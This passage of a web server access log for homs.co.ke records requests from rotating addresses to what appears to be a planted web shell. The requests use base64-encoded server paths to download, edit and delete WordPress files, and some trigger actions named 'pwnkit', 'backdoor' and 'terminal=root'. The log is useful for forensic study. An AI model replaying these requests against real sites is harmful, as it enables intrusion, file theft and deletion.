Chrome/110.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.177.20 - - [06/Mar/2026:12:30:48 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2JyZTIzOTE5 HTTP/1.1" 200 5193 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.175.13 - - [06/Mar/2026:12:30:49 -0700] "GET /?act=download&file=theme-previews.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.177.9 - - [06/Mar/2026:12:30:49 -0700] "GET /?act=edit&file=readonly.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3BocC1jb21wYXQ= HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.179.67 - - [06/Mar/2026:12:30:49 -0700] "GET /?act=download&file=class-wp-list-util.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.173.179 - - [06/Mar/2026:12:30:49 -0700] "GET /?act=edit&file=formatting.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 94654 "http://www.homs.co.ke/?act=edit&file=formatting.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.175.99 - - [06/Mar/2026:12:30:50 -0700] "GET /?act=download&file=class-wp.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://www.homs.co.ke/?act=download&file=class-wp.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.163.22.159 - - [06/Mar/2026:12:30:50 -0700] "GET /?act=download&file=class-wp-text-diff-renderer-inline.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.175.140 - - [06/Mar/2026:12:30:50 -0700] "GET /?act=download&file=class-wp-list-util.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://www.homs.co.ke/?act=download&file=class-wp-list-util.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.172.167 - - [06/Mar/2026:12:30:51 -0700] "GET /?act=download&file=kses.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://www.homs.co.ke/?act=download&file=kses.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.174.45 - - [06/Mar/2026:12:30:52 -0700] "GET /?act=download&file=class-wp-customize-section.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://www.homs.co.ke/?act=download&file=class-wp-customize-section.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.179.27 - - [06/Mar/2026:12:30:52 -0700] "GET /?act=edit&file=readonly.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3BocC1jb21wYXQ= HTTP/1.1" 200 5064 "http://www.homs.co.ke/?act=edit&file=readonly.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3BocC1jb21wYXQ=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.181.62 - - [06/Mar/2026:12:30:53 -0700] "GET /?act=download&file=theme-previews.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://www.homs.co.ke/?act=download&file=theme-previews.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.174.120 - - [06/Mar/2026:12:30:53 -0700] "GET /?act=download&file=class-wp-text-diff-renderer-inline.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://www.homs.co.ke/?act=download&file=class-wp-text-diff-renderer-inline.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.182.105 - - [06/Mar/2026:12:30:57 -0700] "GET /?act=download&file=class-wp-text-diff-renderer-inline.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.174.15 - - [06/Mar/2026:12:31:49 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tl HTTP/1.1" 200 10707 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.166.136.24 - - [06/Mar/2026:12:38:37 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3NpdGVtYXBzL3Byb3ZpZGVycw== HTTP/1.1" 200 4903 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" mail.homs.co.ke 10.38.197.90 40.77.167.85 - - [06/Mar/2026:12:38:38 -0700] "GET /robots.txt HTTP/1.1" 200 128 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" homs.co.ke 10.38.197.90 40.77.167.149 - - [06/Mar/2026:12:39:24 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp-application-passwords.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" homs.co.ke 10.38.197.90 40.77.167.54 - - [06/Mar/2026:12:46:06 -0700] "GET /?n=6084938001440&mod=5bcebecb&uri=search.php%3Fid%3D203747-922%26name%3Dprice+womens+all+black+air+max HTTP/1.1" 409 83 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" homs.co.ke 10.38.197.90 43.159.148.221 - - [06/Mar/2026:12:49:52 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3NvZGl1bV9jb21wYXQvbmFtZXNwYWNlZA== HTTP/1.1" 200 5071 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" mail.homs.co.ke 10.38.197.90 43.133.139.6 - - [06/Mar/2026:12:58:16 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2pzL2NvZGVtaXJyb3I=&del=codemirror.min.js HTTP/1.1" 200 5860 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" mail.homs.co.ke 10.38.197.90 51.68.236.73 - - [06/Mar/2026:13:01:35 -0700] "GET /robots.txt HTTP/1.1" 406 226 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" homs.co.ke 10.38.197.90 43.173.181.156 - - [06/Mar/2026:13:06:14 -0700] "GET /?act=download&file=query-standard-posts.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Jsb2NrLXBhdHRlcm5z HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.179.110 - - [06/Mar/2026:13:06:15 -0700] "GET /?act=download&file=query-standard-posts.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Jsb2NrLXBhdHRlcm5z HTTP/1.1" 200 4219 "http://mail.homs.co.ke/?act=download&file=query-standard-posts.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Jsb2NrLXBhdHRlcm5z" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.177.253 - - [06/Mar/2026:13:11:20 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp-block-parser-frame.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.178.17 - - [06/Mar/2026:13:11:20 -0700] "GET /?action=pwnkit&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL1JlcXVlc3Rz HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.175.132 - - [06/Mar/2026:13:11:20 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp-block-parser-frame.php HTTP/1.1" 200 4021 "http://mail.homs.co.ke/?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp-block-parser-frame.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.182.99 - - [06/Mar/2026:13:11:20 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL1JlcXVlc3Rz&terminal=root HTTP/1.1" 200 4593 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.179.149 - - [06/Mar/2026:13:11:21 -0700] "GET /?act=download&file=SMTP.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL1BIUE1haWxlcg== HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.173.248 - - [06/Mar/2026:13:11:21 -0700] "GET /?act=download&file=SMTP.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL1BIUE1haWxlcg== HTTP/1.1" 200 4208 "http://mail.homs.co.ke/?act=download&file=SMTP.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL1BIUE1haWxlcg==" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.174.150 - - [06/Mar/2026:13:11:22 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp-locale.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.174.143 - - [06/Mar/2026:13:11:22 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp-locale.php HTTP/1.1" 200 4021 "http://mail.homs.co.ke/?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp-locale.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 66.249.77.12 - - [06/Mar/2026:13:11:58 -0700] "GET /robots.txt HTTP/1.1" 200 128 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" mail.homs.co.ke 10.38.197.90 66.249.77.12 - - [06/Mar/2026:13:11:58 -0700] "GET / HTTP/1.1" 200 57649 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" mail.homs.co.ke 10.38.197.90 43.166.251.233 - - [06/Mar/2026:13:12:46 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2pzL2NvZGVtaXJyb3I=&act=download&file=esprima.js HTTP/1.1" 200 4217 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" mail.homs.co.ke 10.38.197.90 69.171.231.28 - - [06/Mar/2026:13:14:56 -0700] "GET /robots.txt HTTP/1.1" 206 342 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" mail.homs.co.ke 10.38.197.90 87.236.176.3 - - [06/Mar/2026:13:15:19 -0700] "GET / HTTP/1.1" 200 57649 "-" "Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/)" homs.co.ke 10.38.197.90 43.157.179.227 - - [06/Mar/2026:13:17:09 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2pzL2NvZGVtaXJyb3I=&del=fakejshint.js HTTP/1.1" 200 5860 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" mail.homs.co.ke 10.38.197.90 43.173.179.138 - - [06/Mar/2026:13:23:32 -0700] "GET /?act=download&file=class-wp-http-encoding.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.181.147 - - [06/Mar/2026:13:23:33 -0700] "GET /?action=backdoor&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3NvZGl1bV9jb21wYXQvbmFtZXNwYWNlZA== HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.177.34 - - [06/Mar/2026:13:23:33 -0700] "GET /?act=download&file=wp-diff.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.163.22.41 - - [06/Mar/2026:13:23:33 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=post.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.174.208 - - [06/Mar/2026:13:23:33 -0700] "GET /?act=download&file=class-wp-http-encoding.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://www.homs.co.ke/?act=download&file=class-wp-http-encoding.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.180.200 - - [06/Mar/2026:13:23:33 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3NvZGl1bV9jb21wYXQvbmFtZXNwYWNlZC9Db3Jl HTTP/1.1" 200 7459 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.181.125 - - [06/Mar/2026:13:23:33 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3NvZGl1bV9jb21wYXQvbmFtZXNwYWNlZA==&status=success HTTP/1.1" 200 5337 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.173.233 - - [06/Mar/2026:13:23:33 -0700] "GET /?act=download&file=social-links-shared-background-color.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Jsb2NrLXBhdHRlcm5z HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.174.212 - - [06/Mar/2026:13:23:34 -0700] "GET /?act=download&file=class-feed.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.174.3 - - [06/Mar/2026:13:23:34 -0700] "GET /?act=download&file=wp-diff.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://www.homs.co.ke/?act=download&file=wp-diff.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.175.186 - - [06/Mar/2026:13:23:34 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=post.php HTTP/1.1" 200 4021 "http://www.homs.co.ke/?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.176.49 - - [06/Mar/2026:13:23:34 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=comment.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.172.52 - - [06/Mar/2026:13:23:34 -0700] "GET /?act=download&file=social-links-shared-background-color.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Jsb2NrLXBhdHRlcm5z HTTP/1.1" 200 4219 "http://www.homs.co.ke/?act=download&file=social-links-shared-background-color.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Jsb2NrLXBhdHRlcm5z" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.174.150 - - [06/Mar/2026:13:23:34 -0700] "GET /?act=download&file=class-feed.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://www.homs.co.ke/?act=download&file=class-feed.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.182.46 - - [06/Mar/2026:13:23:35 -0700] "GET /?act=download&file=class-wp-sitemaps-taxonomies.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3NpdGVtYXBzL3Byb3ZpZGVycw== HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.182.84 - - [06/Mar/2026:13:23:36 -0700] "GET /?act=download&file=class-wp-sitemaps-taxonomies.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3NpdGVtYXBzL3Byb3ZpZGVycw== HTTP/1.1" 200 4258 "http://www.homs.co.ke/?act=download&file=class-wp-sitemaps-taxonomies.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3NpdGVtYXBzL3Byb3ZpZGVycw==" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.173.24 - - [06/Mar/2026:13:23:37 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=comment.php HTTP/1.1" 200 4021 "http://www.homs.co.ke/?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.174.140 - - [06/Mar/2026:13:25:31 -0700] "GET /?act=download&file=class-wp-network.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.174.104 - - [06/Mar/2026:13:25:32 -0700] "GET /?del=ristretto255.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3NvZGl1bV9jb21wYXQvbGli HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.179.234 - - [06/Mar/2026:13:25:32 -0700] "GET /?act=download&file=class-wp-network.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://www.homs.co.ke/?act=download&file=class-wp-network.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.179.31 - - [06/Mar/2026:13:25:34 -0700] "GET /?del=ristretto255.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3NvZGl1bV9jb21wYXQvbGli HTTP/1.1" 200 6103 "http://www.homs.co.ke/?del=ristretto255.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3NvZGl1bV9jb21wYXQvbGli" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.135.145.77 - - [06/Mar/2026:13:27:23 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2pzL2NvZGVtaXJyb3I=&act=download&file=codemirror.min.css HTTP/1.1" 200 4217 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" mail.homs.co.ke 10.38.197.90 182.44.67.97 - - [06/Mar/2026:13:37:12 -0700] "GET / HTTP/1.1" 200 57649 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" www.homs.co.ke 10.38.197.90 43.131.32.36 - - [06/Mar/2026:13:41:21 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3NpdGVtYXBzL3Byb3ZpZGVycw==&del=class-wp-sitemaps-posts.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" mail.homs.co.ke 10.38.197.90 170.106.165.76 - - [06/Mar/2026:13:49:39 -0700] 